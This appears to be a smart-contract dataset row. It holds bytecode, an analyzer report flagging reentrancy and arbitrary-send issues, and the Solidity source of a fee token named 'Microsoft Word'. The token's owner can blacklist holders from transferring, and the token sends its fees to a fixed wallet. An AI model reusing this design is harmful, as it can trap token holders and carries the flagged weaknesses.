0205460ff16155b801561121d57506001600160a01b03841660009081526006602052604090205460ff16155b1561127d57601154600090156112585761124d60646112476011548661164890919063ffffffff16565b906116c7565b905061125881611709565b61126a6112658285611e54565b6114ce565b47801561127a5761127a47611410565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff16806112c257506001600160a01b03831660009081526006602052604090205460ff165b806112f457506017546001600160a01b038581169116148015906112f457506017546001600160a01b03848116911614155b15611301575060006113c4565b6017546001600160a01b03858116911614801561132c57506016546001600160a01b03848116911614155b15611387576001600160a01b03831660009081526004602052604090204290819055600b54600f55600c54601055600a541415611387576001600160a01b0383166000908152600960205260409020805460ff191660011790555b6017546001600160a01b0384811691161480156113b257506016546001600160a01b03858116911614155b156113c457600d54600f55600e546010555b6113d084848484611716565b50505050565b600081848411156113fa5760405162461bcd60e51b81526004016106e99190611b24565b5060006114078486611e54565b95945050505050565b6015546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561075a573d6000803e3d6000fd5b60006007548211156114b15760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016106e9565b60006114bb61174a565b90506114c783826116c7565b9392505050565b6017805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061151657611516611dce565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561156f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115939190611e6b565b816001815181106115a6576115a6611dce565b6001600160a01b0392831660209182029290920101526016546115cc9130911684610c49565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac94790611605908590600090869030904290600401611e88565b600060405180830381600087803b15801561161f57600080fd5b505af1158015611633573d6000803e3d6000fd5b50506017805460ff60a81b1916905550505050565b60008261165757506000610650565b60006116638385611ef9565b9050826116708583611f18565b146114c75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016106e9565b60006114c783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061176d565b6107ca3061dead83610d6d565b806117235761172361179b565b61172e8484846117e0565b806113d0576113d0601254600f55601354601055601454601155565b60008060006117576118d7565b909250905061176682826116c7565b9250505090565b6000818361178e5760405162461bcd60e51b81526004016106e99190611b24565b5060006114078486611f18565b600f541580156117ab5750601054155b80156117b75750601154155b156117be57565b600f805460125560108054601355601180546014556000928390559082905555565b6000806000806000806117f287611919565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506118249087611976565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461185390866119b8565b6001600160a01b03891660009081526002602052604090205561187581611a17565b61187f8483611a61565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516118c491815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea000006118f382826116c7565b82101561191057505060075492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006119368a600f54601054611a85565b925092509250600061194661174a565b905060008060006119598e878787611ad4565b919e509c509a509598509396509194505050505091939550919395565b60006114c783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113d6565b6000806119c58385611e3c565b9050838110156114c75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016106e9565b6000611a2161174a565b90506000611a2f8383611648565b30600090815260026020526040902054909150611a4c90826119b8565b30600090815260026020526040902055505050565b600754611a6e9083611976565b600755600854611a7e90826119b8565b6008555050565b6000808080611a9960646112478989611648565b90506000611aac60646112478a89611648565b90506000611ac482611abe8b86611976565b90611976565b9992985090965090945050505050565b6000808080611ae38886611648565b90506000611af18887611648565b90506000611aff8888611648565b90506000611b1182611abe8686611976565b939b939a50919850919650505050505050565b600060208083528351808285015260005b81811015611b5157858101830151858201604001528201611b35565b81811115611b63576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146107ca57600080fd5b8035611b9981611b79565b919050565b60008060408385031215611bb157600080fd5b8235611bbc81611b79565b946020939093013593505050565b600060208284031215611bdc57600080fd5b81356114c781611b79565b600080600060608486031215611bfc57600080fd5b8335611c0781611b79565b92506020840135611c1781611b79565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611c5157600080fd5b823567ffffffffffffffff80821115611c6957600080fd5b818501915085601f830112611c7d57600080fd5b813581811115611c8f57611c8f611c28565b8060051b604051601f19603f83011681018181108582111715611cb457611cb4611c28565b604052918252848201925083810185019188831115611cd257600080fd5b938501935b82851015611cf757611ce885611b8e565b84529385019392850192611cd7565b98975050505050505050565b60008060408385031215611d1657600080fd5b50508035926020909101359150565b600060208284031215611d3757600080fd5b5035919050565b600060208284031215611d5057600080fd5b813580151581146114c757600080fd5b60008060408385031215611d7357600080fd5b8235611d7e81611b79565b91506020830135611d8e81611b79565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611e0e57611e0e611de4565b5060010190565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b60008219821115611e4f57611e4f611de4565b500190565b600082821015611e6657611e66611de4565b500390565b600060208284031215611e7d57600080fd5b81516114c781611b79565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ed85784516001600160a01b031683529383019391830191600101611eb3565b50506001600160a01b03969096166060850152505050608001529392505050565b6000816000190483118215151615611f1357611f13611de4565b500290565b600082611f3557634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209032a383bcbd9ea8700d51f2311c4de0178c8272c09bebbf5e0f846ace6554cf64736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,211 |
0x12ea1d58ac8ba1de0d7e348965d7b31167e5da1c
|
/**
*Submitted for verification at Etherscan.io on 2021-11-25
*/
/**
*
**/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MW is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1 = 5;
uint256 private _feeAddr2 = 5;
address payable private _feeAddrWallet1 = payable(0xc71c57D21724221D4B967182ff34D2de78CC4160);
address payable private _feeAddrWallet2 = payable(0xc71c57D21724221D4B967182ff34D2de78CC4160);
string private constant _name = "Microsoft Word";
string private constant _symbol = "MW";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!bots[from]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _isBuy(address _sender) private view returns (bool) {
return _sender == uniswapV2Pair;
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb1461031c578063b515566a14610359578063c3c8cd8014610382578063c9567bf914610399578063dd62ed3e146103b057610109565b806370a0823114610272578063715018a6146102af5780638da5cb5b146102c657806395d89b41146102f157610109565b8063273123b7116100d1578063273123b7146101de578063313ce567146102075780635932ead1146102325780636fc3eaec1461025b57610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103ed565b6040516101309190612905565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b919061247f565b61042a565b60405161016d91906128ea565b60405180910390f35b34801561018257600080fd5b5061018b610448565b6040516101989190612a67565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c3919061242c565b61045c565b6040516101d591906128ea565b60405180910390f35b3480156101ea57600080fd5b5061020560048036038101906102009190612392565b610535565b005b34801561021357600080fd5b5061021c610625565b6040516102299190612adc565b60405180910390f35b34801561023e57600080fd5b5061025960048036038101906102549190612508565b61062e565b005b34801561026757600080fd5b506102706106e0565b005b34801561027e57600080fd5b5061029960048036038101906102949190612392565b610752565b6040516102a69190612a67565b60405180910390f35b3480156102bb57600080fd5b506102c46107a3565b005b3480156102d257600080fd5b506102db6108f6565b6040516102e8919061281c565b60405180910390f35b3480156102fd57600080fd5b5061030661091f565b6040516103139190612905565b60405180910390f35b34801561032857600080fd5b50610343600480360381019061033e919061247f565b61095c565b60405161035091906128ea565b60405180910390f35b34801561036557600080fd5b50610380600480360381019061037b91906124bf565b61097a565b005b34801561038e57600080fd5b50610397610aa4565b005b3480156103a557600080fd5b506103ae610b1e565b005b3480156103bc57600080fd5b506103d760048036038101906103d291906123ec565b611080565b6040516103e49190612a67565b60405180910390f35b60606040518060400160405280600e81526020017f4d6963726f736f667420576f7264000000000000000000000000000000000000815250905090565b600061043e610437611107565b848461110f565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b60006104698484846112da565b61052a84610475611107565b6105258560405180606001604052806028815260200161319160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104db611107565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117629092919063ffffffff16565b61110f565b600190509392505050565b61053d611107565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c1906129c7565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610636611107565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ba906129c7565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610721611107565b73ffffffffffffffffffffffffffffffffffffffff161461074157600080fd5b600047905061074f816117c6565b50565b600061079c600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118c1565b9050919050565b6107ab611107565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610838576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082f906129c7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600281526020017f4d57000000000000000000000000000000000000000000000000000000000000815250905090565b6000610970610969611107565b84846112da565b6001905092915050565b610982611107565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a06906129c7565b60405180910390fd5b60005b8151811015610aa057600160066000848481518110610a3457610a33612e24565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610a9890612d7d565b915050610a12565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ae5611107565b73ffffffffffffffffffffffffffffffffffffffff1614610b0557600080fd5b6000610b1030610752565b9050610b1b8161192f565b50565b610b26611107565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610baa906129c7565b60405180910390fd5b600f60149054906101000a900460ff1615610c03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bfa90612a47565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c9630600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce800000061110f565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cdc57600080fd5b505afa158015610cf0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d1491906123bf565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d7657600080fd5b505afa158015610d8a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dae91906123bf565b6040518363ffffffff1660e01b8152600401610dcb929190612837565b602060405180830381600087803b158015610de557600080fd5b505af1158015610df9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e1d91906123bf565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ea630610752565b600080610eb16108f6565b426040518863ffffffff1660e01b8152600401610ed396959493929190612889565b6060604051808303818588803b158015610eec57600080fd5b505af1158015610f00573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f259190612562565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506a295be96e640669720000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161102a929190612860565b602060405180830381600087803b15801561104457600080fd5b505af1158015611058573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107c9190612535565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117690612a27565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e690612967565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112cd9190612a67565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561134a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134190612a07565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b190612927565b60405180910390fd5b600081116113fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f4906129e7565b60405180910390fd5b6114056108f6565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561147357506114436108f6565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561175257600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156114cf57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561157a5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156115d05750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156115e85750600f60179054906101000a900460ff165b15611698576010548111156115fc57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061164757600080fd5b601e426116549190612b9d565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006116a330610752565b9050600f60159054906101000a900460ff161580156117105750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156117285750600f60169054906101000a900460ff165b15611750576117368161192f565b6000479050600081111561174e5761174d476117c6565b5b505b505b61175d838383611bb7565b505050565b60008383111582906117aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117a19190612905565b60405180910390fd5b50600083856117b99190612c7e565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611816600284611bc790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611841573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611892600284611bc790919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156118bd573d6000803e3d6000fd5b5050565b6000600854821115611908576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ff90612947565b60405180910390fd5b6000611912611c11565b90506119278184611bc790919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561196757611966612e53565b5b6040519080825280602002602001820160405280156119955781602001602082028036833780820191505090505b50905030816000815181106119ad576119ac612e24565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611a4f57600080fd5b505afa158015611a63573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a8791906123bf565b81600181518110611a9b57611a9a612e24565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611b0230600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461110f565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611b66959493929190612a82565b600060405180830381600087803b158015611b8057600080fd5b505af1158015611b94573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611bc2838383611c3c565b505050565b6000611c0983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611e07565b905092915050565b6000806000611c1e611e6a565b91509150611c358183611bc790919063ffffffff16565b9250505090565b600080600080600080611c4e87611ed5565b955095509550955095509550611cac86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f3d90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d4185600260008b73ffffff